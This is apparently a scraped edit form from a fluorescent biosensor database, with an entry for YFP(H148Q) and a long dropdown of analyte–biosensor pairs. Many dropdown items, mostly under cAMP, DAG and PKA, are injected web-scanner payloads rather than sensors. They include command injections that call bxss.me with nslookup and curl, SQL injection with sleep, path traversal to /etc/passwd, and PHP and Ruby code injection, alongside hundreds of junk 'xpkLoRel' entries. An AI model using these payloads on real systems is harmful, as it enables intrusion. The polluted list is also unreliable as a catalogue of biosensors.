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Field
Current Value
Updated change
Name
YFP(H148Q)
Full name
Readout Method
Intensity
Select Type ...
FRET
Intensity
FLIM
FLIM-FRET
Translocation
Excitation Ratiometric
Emission Ratiometric
BRET
Localization
Bioluminescence
FLINC
Ratiometric
Pubmed ID
10692389
Source Year
2000
Source Journal
J Biol Chem
Source Author
Jayaraman S, Haggie P, Wachter RM, Remington SJ, Verkman AS
Other Sources
Addgene number
Components
YFP-H148Q
Sensing Element
YFP-H148Q
Fluorescent Proteins
YFP-H148Q
Targeting
Unimolecular?
Unimolecular
Bimolecular or other
BS Family
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[] - xpkLoRel
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[] - xpkLoRel
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[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
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[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
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[] - xpkLoRel
[] - xpkLoRel
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[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[] - xpkLoRel
[(nslookup -q=cname hitfjzmeyikgtc0294.bxss.me] - xpkLoRel
[(nslookup${IFS}-q${IFS}cname${IFS}hiticvsxpeutm8226f.bxss.me] - xpkLoRel
[*] - xpkLoRel
[2OG] - mOGsor
[3CLPro] - Flip-GFP
[3prime IP] - GFP AKT domains
[3prime IP] - Homo FRET mCherry-Akt-PH
[3prime IP] - InPAkt
[5-HT] - 5-HT 3A CNiFER
[5-HT] - dLight
[5-HT] - G-GESS
[5-HT] - GRAB-5HT
[5-HT] - iSnFR
[A1R] - A1R SPASM
[Abl] - Abl Indicator
[ACh] - ACh CNiFER
[ACh] - ACh-Snifit
[ACh] - GACh
[ADP] - ADPrime
[Akt] - Akind
[Akt] - Akt translocation Reporters
[Akt] - AktAR
[Akt] - AktUS
[Akt] - BKAR
[Akt] - Dual Labeled Akt
[Akt] - Eevee-Akt
[Akt] - ReAktion
[alpha2A-AR] - Receptor Conformation Sensor
[Ammonium] - AmTrac
[AMPK] - AMPfret
[AMPK] - AMPKAR
[AMPK] - ExRai-AMPKAR
[Annexin 4] - NEX4
[Arabinose] - FLIPara
[Arg] - FRET Arg Reporter
[As3+] - SenALiB
[aspartate] - iSnFR
[Atg4a] - FRET-LC3B
[Atg4b] - FRET-GATE-16
[ATM kinase] - ATOMIC
[ATP] - ATeam
[ATP] - EAF-based ATP biosensor
[ATP] - iATPSnFR
[ATP] - MaLion
[ATP] - Nano-lantern ATP
[ATP] - QUEEN
[ATP] - Syn-ATP
[ATP:ADP Ratio] - Perceval
[Aurora B kinase] - Aurora B sensor
[Aurora Kinase A] - AURKA Biosensor
[B-Raf] - Prin-BRaf
[Bax] - Bax Translocation reporter
[BCAA] - OLIVe
[Bcr-Abl] - Pickles
[BDNF] - Bescell
[beta Arrestin 2] - Beta Arrestin 2 ubiquitination biosensor
[Beta1-AR] - dLight
[Beta2-AR] - BRET^2 β2-AR Activation Probes
[Beta2-AR] - dLight
[Beta2-AR] - β2-AR SPASM
[Beta2-AR] - Nb80
[Beta2-AR] - Receptor Conformation Sensor
[C-Raf] - Prin-CRaf
[Ca2+] - Ca-FLITS
[Ca2+] - Ca2+ Snapshot
[Ca2+] - CaMBI
[Ca2+] - Cameleons
[Ca2+] - Camgaroo
[Ca2+] - CaMPARI
[Ca2+] - CASE
[Ca2+] - CatchER
[Ca2+] - ddFP Ca2+ sensor
[Ca2+] - ER-GCaMP
[Ca2+] - ER-GECO
[Ca2+] - FGCaMP
[Ca2+] - FPX Ca2+ Sensors
[Ca2+] - GAF-CaMP
[Ca2+] - GAP
[Ca2+] - GCaMP
[Ca2+] - GECO
[Ca2+] - GreenT-EC
[Ca2+] - Nano-lantern Ca2+
[Ca2+] - NCaMP
[Ca2+] - NTnC
[Ca2+] - pericam
[Ca2+] - RCaMP
[Ca2+] - TN Ca2+ Sensors
[CaM] - BSCaM
[CaM] - MLCK-FIP
[CaMKII] - Camui
[CaMKII] - FRESCA
[CaMKII] - K2alpha
[cAMP] - cADDis
[cAMP] - camps
[cAMP] - CAMYEL
[cAMP] - CUTie
[cAMP] - Epac-S
[cAMP] - Epac1 (delta DEP-CD) based cAMP biosensors
[cAMP] - Flamindo
[cAMP] - FPX
[cAMP] - ICUE
[cAMP] - mCRIS based cAMP biosensor
[cAMP] - mICNBD
[cAMP] - mICNBD-FRET
[cAMP] - Nano-lantern cAMP
[cAMP] - R-FlincA
[cAMP] - R1alpha #7
[cAMP] - Split Luc cAMP biosensor
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - xpkLoRel
[cAMP] - YFP-PKAc + CFP-PKAr
[CaN] - CaN Activation
[CaN] - CaNAR
[CaN] - CaNARi
[CaN] - DuoCaN
[Caspase1] - FPX caspase 1 sensor
[Caspase1] - SCAT1
[Caspase3] - CASPAM
[Caspase3] - ddFP based
[Caspase3] - DEVD
[Caspase3] - DEVK
[Caspase3] - EC-RP
[Caspase3] - Far-Red Caspase sensors
[Caspase3] - Flip-GFP
[Caspase3] - Intein Based
[Caspase3] - iProtease
[Caspase3] - SCAT3
[Caspase3] - yDMQDc
[Caspase8] - Bid cleavage sensor
[Caspase8] - FPX caspase 8 sensor
[Caspase8] - IC-RP
[Caspase9] - SCAT9
[Cd2+] - Cd-FRET
[Cdc42] - (CDC42) GEF Sensor
[Cdc42] - CDC42 Biosensor
[Cdc42] - Cdc42 FRET
[Cdc42] - CDC42 Raichu
[Cdc42] - Cdc42-2G
[Cdc42] - ddFP Cdc42 Biosensor
[Cdc42] - GDI Cdc42 FLARE
[CDK1] - CyclinB1-Cdk1 activity sensor
[CDK2] - CDK2 Translocation Reporter
[Cell Cycle Phases] - Fucci
[cGMP] - cGES
[cGMP] - cGKI based cGMP sensors
[cGMP] - cGull
[cGMP] - CGY
[cGMP] - CUTie
[cGMP] - cyGNAL
[cGMP] - cygnet
[cGMP] - FlincG
[cGMP] - PfPKG
[Citrate] - FLIP-Cit
[CO] - COSer
[CRAC] - PH(crac)-GFP
[CREB] - ICAP
[Cu+] - CreiLOV
[Cu+] - Yeast Copper regulator based
[DAG] - Cys1-GFP
[DAG] - Daglas
[DAG] - DAGR
[DAG] - Digda
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAG] - xpkLoRel
[DAPK1] - DAPK1 sensor
[Dictyostelium GPCR] - Labeled G proteins
[DNA methylation] - DNA methylation BiAD
[Dopamine] - dLight : Dopamine
[Dopamine] - Dopamine CNiFER
[Dopamine] - GRAB-DA
[DRD2] - iTango
[eCB] - GRAB-eCB
[echo cmwohk$()\ apqzuo\nz^xyu] - xpkLoRel
[EGFR] - ECaus
[EGFR] - EGFR Reporter
[EGFR] - FLAME
[EGFR] - Picchu-Z
[Enterokinase] - BRET-based
[ERK] - EAS
[ERK] - EKAR
[ERK] - ERK-KTR
[ERK] - Erkus
[ERK] - ERKy
[ERK] - FIRE
[ERK] - FLINC-EKAR1
[ERK] - FPX ERK
[ERK] - Miu2
[F-1,6-BP] - fructose‐1,6‐bisphosphate
[FAK] - FAK Activation Biosensor
[FAK] - FAK Autophosphorylation Biosensor
[FAK] - FAK sensor
[Fus3] - Far1-SKARS
[Fyn] - FRET
[Fyn] - saFRET
[FZD4] - Receptor Conformation Sensor
[FZD5] - Receptor Conformation Sensor
[FZD6] - Receptor Conformation Sensor
[FZD7] - Receptor Conformation Sensor
[G1 Phase] - G1 Phase Biosensor
[GABA] - GABA-Snifit
[GABA] - iGABASnFR
[GCK] - GCK Activation Biosensors
[Gα] - Galpha activation
[Gαi] - Gαi Sensor
[Gαq] - Gαq Sensor
[Gαs] - Gαs Sensor
[Gαs] - Gs Activation BRET Assay
[Gαs] - Nb37 based
[Gln] - FLIPQ
[Glucose] - FLIPglu
[Glucose] - GGBP
[Glucose] - GIP
[Glucose] - Glifon
[Glutamate] - FLIP Glt
[Glutamate] - FLIPE
[Glutamate] - GluSnFR
[Glutamate] - iGluSnFR
[Glutamate] - QBP based Gln Sensor
[Glutamate] - Snifit-iGluR5
[Glycine] - glycine FRET sensor
[GTP] - GEVAL
[H2O2] - HyPer
[H2O2] - roGFP based H2O2 sensor
[H2O2] - Unnatural Amino Acid H2O2 sensor
[H2O2] - Yap1 based H2O2 sensor
[H2S] - pAzF H2S sensors
[H3-S10p] - H3S10p biosensor
[H3-S28p] - Histone Phosphorylation reporter
[H3K9me3] - H3K9me3 BiAD
[H3R] - Receptor Conformation Sensor
[Halide Ions] - Clomeleon
[Halide Ions] - Dual pH and Cl sensor
[Halide Ions] - Halide Sensitive Fluorescent Proteins
[Heme] - CHY
[Heme] - CISDY
[Heme] - Fluorescence quenching Heme
[Heterotrimeric G Proteins] - αβγ trimerization
[Hg(II)] - eGFP based Hg sensor
[Hg(II)] - IFP based Hg sensor
[His] - FHisJ
[His] - FLIP-HisJ
[Histone Acetylation] - Histac
[Ins(1,3,4,5)P4] - Btk PH domain based
[INSR] - Insulin Receptor Activation BRET assay
[INSR] - Phocus
[INSR] - sinphos
[Insulin] - RINS
[IP3] - FIRE
[IP3] - fretino
[IP3] - GFP-PH
[IP3] - IRIS
[IP3] - LIBRA
[α1-AR] - α1-AR SPASM
[α2A-AR] - dLight
[α2A-AR] - α2-AR SPASM
[α2A-AR] - α2A-AR + labeled G protein
[α2A-AR] - α2A-AR activation sensor
[JNK] - dJUN-FRET
[JNK] - JNK-KTR
[JNK] - JNKAR
[JNK] - JuCKY
[K+] - GEPII
[K+] - GINKO
[K27H3 methlytransferase] - K27 Reporter
[K9H3 methyltransferase] - K9 Reporter
[kappa-opioid receptor] - dLight
[Kss1] - Ste7-SKARS
[Lactate] - Laconic
[LATS] - LATS-BS
[LCACoAs] - LACSer sensor
[Lck] - Lck Activation sensor
[Ln3+] - LaMP
[M1R] - M1R Activation Sensor
[M3R] - Receptor Conformation Sensor
[malonyl-CoA] - FapR-NLuc
[maltose] - FLIPmal
[maltose] - MBP
[MAPK or MK2] - GMB
[MARK] - MARK sensor
[Matriptase] - ddFP-based
[Mechanical Strain] - HP35
[Mechanical Strain] - PriSSM
[Mechanical Strain] - stFRET
[Mechanical Strain] - TSMod
[Mg2+] - MagFRET
[Mg2+] - MagIC
[MLKL] - SMART
[Mn2+] - MnLaMP
[Molecular crowding] - CrGE
[Molecular crowding] - Crowding sensor
[Mpk1] - Mkk2-SKARS
[Mpro] - BRET-based
[Mpro] - Flip-GFP
[MT1-MMP] - MT1-MMP Biosensor
[MT2] - dLight
[mTORC1] - TORCAR
[mu-opioid receptor] - dLight
[N-WASP] - N-WASP BS
[NAD+] - NAD+ Biosensor
[NAD+] - NAD-Snifit
[NAD+/NADH Ratio] - Peredox
[NAD+/NADH Ratio] - SoNar
[NAD+/NADH Ratio] - T-Rex Based
[NADH] - Frex
[NADP+] - Apollo-NADP+
[NADP+] - NADPsor
[NADP+:NADPH Ratio] - NADP-Snifit
[NADPH] - iNap
[NADPH] - Semi-synthetic BRET Sensor
[NE] - NE CNiFER
[Nicotine] - iNicSnFR
[NO] - FRET-MT
[NO] - geNOps
[NO] - sGC based NO biosensor
[O2] - dUnOHR hypoxia-reoxygenation sensor
[O2] - FluBO
[ODR-10] - OGOR
[OGT] - O-GlcNAc Sensor
[OHP] - OHSer
[ONOO-] - pnGFP
[opsin] - opsin SPASM
[Orexin Neuropeptide] - dLight : Orexin
[Oxytocin] - GRAB-OT
[p38] - p38 activity reporter
[p38] - p38-KTR
[PA] - Pii
[PAK1] - Pakabi
[PDGFR] - PDGFR Biosensor
[PDK1] - PARE
[pH] - deGFP
[pH] - Dendra
[pH] - Dual pH and Cl sensor
[pH] - E^xGFP
[pH] - FluBpH
[pH] - mtAlpHi
[pH] - Native FP pH Sensitivity
[pH] - pHaROS
[pH] - pHCEC
[pH] - pHluorins
[pH] - pHRed
[pH] - pHTomato
[pH] - pHuji
[pH] - pHusion
[pH] - SRpHi
[pH] - SypHer
[pH] - XFpH
[Phosphate] - FLIPPi
[PI(3)P] - GFP-FYVE
[PI(3)P] - GFP-PX
[PI(3,4)P2] - cPHx3
[PI(3,4)P2] - Pippi-PI(3,4)P2
[PI(3,5)P2] - GFP-MLN1
[PI(4)P] - BRET PI(4)P sensors
[PI(4)P] - Pippi
[PI(4,5)P2] - CAY
[PI(4,5)P2] - CYPHR
[PI(4,5)P2] - ENTH-GFP
[PI(4,5)P2] - FP-Tubby
[PI(4,5)P2] - FPX PIP2 sensor
[PI(4,5)P2] - PH(PLCdelta)
[PI(4,5)P2] - Pippi-PI(4,5)P2
[PI(4,5)P2] - R-PRE
[PIP3] - FLLIP
[PIP3] - InPAkt
[PIP3] - Labeled PH domains
[PIP3] - PIP3 BRET sensor
[PKA] -
[PKA] -
[PKA] -
[PKA] -
[PKA] - !(()&&!|*|*|
[PKA] - "+"A".concat(70-3).concat(22*4).concat(104).concat(82).concat(101).concat(88)+(require"socket" Socket.gethostbyname("hitgb"+"qjhpxrgzea03d.bxss.me.")[3].to_s)+"
[PKA] - "+response.write(9846125*9162423)+"
[PKA] - ".gethostbyname(lc("hitot"."ugpiceyu35888.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(84).chr(102).chr(70)."
[PKA] - ";print(md5(31337));$a="
[PKA] - "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
[PKA] - "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
[PKA] - "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
[PKA] - $(nslookup -q=cname hitisgfzxlkefc1ac4.bxss.me||curl hitisgfzxlkefc1ac4.bxss.me)
[PKA] - ${10000344+9999221}
[PKA] - ${@print(md5(31337))}
[PKA] - ${@print(md5(31337))}\
[PKA] - &(nslookup -q=cname hitqbyqscwimv32d0c.bxss.me||curl hitqbyqscwimv32d0c.bxss.me)&'\"`0&(nslookup -q=cname hitqbyqscwimv32d0c.bxss.me||curl hitqbyqscwimv32d0c.bxss.me)&`'
[PKA] - &(nslookup${IFS}-q${IFS}cname${IFS}hitbrfhdtokhif41c4.bxss.me||curl${IFS}hitbrfhdtokhif41c4.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbrfhdtokhif41c4.bxss.me||curl${IFS}hitbrfhdtokhif41c4.bx
[PKA] - &echo svcltf$()\ xvdixc\nz^xyu||a #' &echo svcltf$()\ xvdixc\nz^xyu||a #|" &echo svcltf$()\ xvdixc\nz^xyu||a #
[PKA] - &nslookup -q=cname hitqbpqkhmoerc634e.bxss.me&'\"`0&nslookup -q=cname hitqbpqkhmoerc634e.bxss.me&`'
[PKA] - '"
[PKA] - '"()
[PKA] - '+'A'.concat(70-3).concat(22*4).concat(106).concat(85).concat(102).concat(88)+(require'socket' Socket.gethostbyname('hitly'+'khplzlsqe6eb8.bxss.me.')[3].to_s)+'
[PKA] - '+response.write(9846125*9162423)+'
[PKA] - '.gethostbyname(lc('hitnq'.'iazwwerd02e71.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(82).chr(97).chr(76).'
[PKA] - '.print(md5(31337)).'
[PKA] - ';print(md5(31337));$a='
[PKA] - 'A'.concat(70-3).concat(22*4).concat(114).concat(74).concat(100).concat(84)+(require'socket' Socket.gethostbyname('hitco'+'nruwsypdfb290.bxss.me.')[3].to_s)
[PKA] - (nslookup -q=cname hitfblzwtcuzc60438.bxss.me||curl hitfblzwtcuzc60438.bxss.me))
[PKA] - (select 198766*667891 from DUAL)
[PKA] - (select 198766*667891)
[PKA] - (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
[PKA] - )
[PKA] - -1 OR 5*5=25
[PKA] - -1 OR 5*5=25 --
[PKA] - -1 OR 5*5=26
[PKA] - -1 OR 5*5=26 --
[PKA] - -1" OR 5*5=25 --
[PKA] - -1" OR 5*5=25 or "UXheba70"="
[PKA] - -1" OR 5*5=26 --
[PKA] - -1" OR 5*5=26 or "UXheba70"="
[PKA] - -1' OR 5*5=25 --
[PKA] - -1' OR 5*5=25 or '0iowThdy'='
[PKA] - -1' OR 5*5=26 --
[PKA] - -1' OR 5*5=26 or '0iowThdy'='
[PKA] - ../../../../../../../../../../../../../../etc/passwd
[PKA] - ../../../../../../../../../../../../../../etc/shells
[PKA] - ../../../../../../../../../../../../../../windows/win.ini
[PKA] - ../xpkLoRel
[PKA] - /etc/shells
%bf%27'💡' > [PKA] - 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
[PKA] - 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
"%>'%><%={{={@{#{${dfb}}%>' > [PKA] - 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
"%>'%><%={{={@{#{${dfb}}%>' > [PKA] - 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
"%>'%><%={{={@{#{${dfb}}%>' > [PKA] - 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
[PKA] - ;(nslookup -q=cname hitgdliyhealx6b7b9.bxss.me||curl hitgdliyhealx6b7b9.bxss.me)|(nslookup -q=cname hitgdliyhealx6b7b9.bxss.me||curl hitgdliyhealx6b7b9.bxss.me)&(nslookup -q=cname hitgdliyhealx6b7b9.b
[PKA] - ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
[PKA] -